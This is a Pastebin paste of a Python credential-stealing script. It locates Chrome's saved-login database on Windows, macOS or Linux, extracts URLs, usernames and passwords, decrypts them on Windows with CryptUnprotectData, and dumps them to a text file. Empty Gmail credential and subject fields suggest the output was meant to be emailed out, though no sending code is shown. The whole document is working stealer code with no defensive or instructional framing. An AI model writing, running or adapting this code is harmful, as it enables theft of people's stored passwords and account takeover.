Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os,sys
- import sqlite3
- try:
- import win32crypt
- except:
- pass
- import argparse
- gmail_user =''
- gmail_pwd =''
- subject=''
- text=''
- def mail():
- import sys
- with open('/Dump/chrome.txt', 'w') as f:
- sys.stdout = f
- print(main())
- def main():
- info_list = []
- path = getpath()
- try:
- connection = sqlite3.connect(path + "Login Data")
- with connection:
- cursor = connection.cursor()
- v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- value = v.fetchall()
- if (os.name == "posix") and (sys.platform == "darwin"):
- print("Mac OSX not supported.")
- sys.exit(0)
- for information in value:
- if os.name == 'nt':
- password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
- if password:
- info_list.append({
- 'origin_url': information[0],
- 'username': information[1],
- 'password': str(password)
- })
- elif os.name == 'posix':
- info_list.append({
- 'origin_url': information[0],
- 'username': information[1],
- 'password': information[2]
- })
- except sqlite3.OperationalError as e:
- e = str(e)
- if (e == 'database is locked'):
- print('[!] Make sure Google Chrome is not running in the background')
- sys.exit(0)
- elif (e == 'no such table: logins'):
- print('[!] Something wrong with the database name')
- sys.exit(0)
- elif (e == 'unable to open database file'):
- print('[!] Something wrong with the database path')
- sys.exit(0)
- else:
- print(e)
- sys.exit(0)
- return info_list
- def getpath():
- if os.name == "nt":
- # This is the Windows Path
- PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
- if (os.path.isdir(PathName) == False):
- print('[!] Chrome Doesn\'t exists')
- sys.exit(0)
- elif ((os.name == "posix") and (sys.platform == "darwin")):
- # This is the OS X Path
- PathName = os.getenv('HOME') + "/Library/Application Support/Google/Chrome/Default/"
- if (os.path.isdir(PathName) == False):
- print('[!] Chrome Doesn\'t exists')
- sys.exit(0)
- elif (os.name == "posix"):
- # This is the Linux Path
- PathName = os.getenv('HOME') + '/.config/google-chrome/Default/'
- if (os.path.isdir(PathName) == False):
- print('[!] Chrome Doesn\'t exists')
- sys.exit(0)
- return PathName
- if __name__ == '__main__':
- mail()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement